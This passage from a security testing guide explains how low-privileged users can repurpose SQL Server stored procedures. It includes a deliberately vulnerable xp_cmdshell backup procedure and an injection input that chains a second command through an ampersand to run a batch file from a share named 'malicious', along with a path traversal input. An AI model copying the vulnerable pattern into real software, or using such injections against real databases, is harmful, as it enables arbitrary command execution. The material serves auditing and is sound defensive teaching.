Understanding Repurposing of SQL Stored Procedures

Let s consider a specific case of what can happen if a user has some permissions on the database and the other security permissions are not defined. In SQL Server security, users can be granted access selectively to specific views and stored procedures rather than to all of the underlying data. From an attacker s perspective, stored procedures and views are ways to get information or run commands that the attacker wouldn t otherwise be able to. For this reason, an audit of the permissions set on the different database objects is important; but the audit must focus on what the permissions are as well as take into account how a malicious low-privileged user can take advantage of the object to elevate privilege or run commands.

Example: Backing Up Documents

Wrapping dangerous stored procedures in other procedures to reduce attack surface is a great idea in concept, but should be used with caution. Suppose a specific set of users of an application is to be prevented from running the xp_cmdshell procedure directly and is not allowed to run any command the users wish, but the users are allowed to make file backups . The application might define a stored procedure as follows and give access to the users:

 CREATE PROCEDURE BackupDocuments    @BackupFolderName char(255) AS DECLARE @Command char(512); SET @Command = 'xcopy /s c:\documents\*.* \server\share\backups\'                + @BackupFolderName; EXEC master..xp_cmdshell @Command; GO 

Think about exactly what this procedure does. There are at least four problems with the implementation. Can you spot them?

One problem is attackers can run the EXEC BackupDocuments ' & \\malicious\share\badstuff .bat'; command. This lets them run arbitrary commands because the ampersand delimits multiple commands. The second problem is the fact that xcopy is not fully qualified; if attackers can change the current working folder, they could get their own xcopy.com or xcopy.exe or xcopy.bat to run. The third problem is that attackers can write the backups outside the backups folder by specifying the command EXEC BackupDocuments ˜..\SomeOtherFolder . Picture what happens if an attacker can also modify files in the C:\Documents folder. Because all files are copied ( *.* ) when only documents should be copied, the attacker can upload Trojan files anywhere on \\server\share , not just \\server\share\backups . Finally, there are no guards against denial of service attacks.

Important  

When you audit SQL stored procedures, don t forget to look for other types of security vulnerabilities.

More Info  

For more information about this type of problem and suggestions on solving it, see http://msdn.microsoft.com/library/en-us/dnsqldev/html/sqldev_10182004.asp .

Hunting for Stored Procedure Repurposing Issues

The simplest approach to finding these issues is to review the stored procedures systematically ” start with the ones that low privilege users can run. As you review the procedures, consider the following two items:

• Identify input the low-privileged user could provide. Some possible sources of attacker-supplied data include the following:

  • Parameters of the stored procedure

  • Data in tables and views the attacker can write to

  • Data in tables and views that might have been copied from places the attacker could write to

  • Return values from other stored procedures

  • Environment variables

  • Other external sources of data (such as files, the registry, and so forth)

• Identify dangerous functions. Dangerous functions might include the following:

  • Other stored procedures you have not yet reviewed

  • Stored procedures that have changed since you reviewed them

  • Functions that run arbitrary functions or code, such as xp_cmdshell , sp_OAMethod , xp_regwrite , and sp_executesql

  • Self-modifying code, which in SQL translates into ALTER PROCEDURE and CREATE PROCEDURE calls or perhaps INSERT INTO or UPDATE statements on tables containing stored procedure definitions or names

  • Functions that modify permissions, such as the GRANT command, sp_grantlogin procedure, sp_grantdbaccess procedure, and so forth

  • Stored procedures with risk of other security vulnerabilities. (Most of the functions in this category will be custom-built extended stored procedures. It is hard to know, however, whether an external function such as xp_sprintf is free from format string bugs without further research and validation. The version we tested was fine.)

The testing approach outlined in Chapter 18, ActiveX Repurposing Attacks, works well for black box testing these procedures.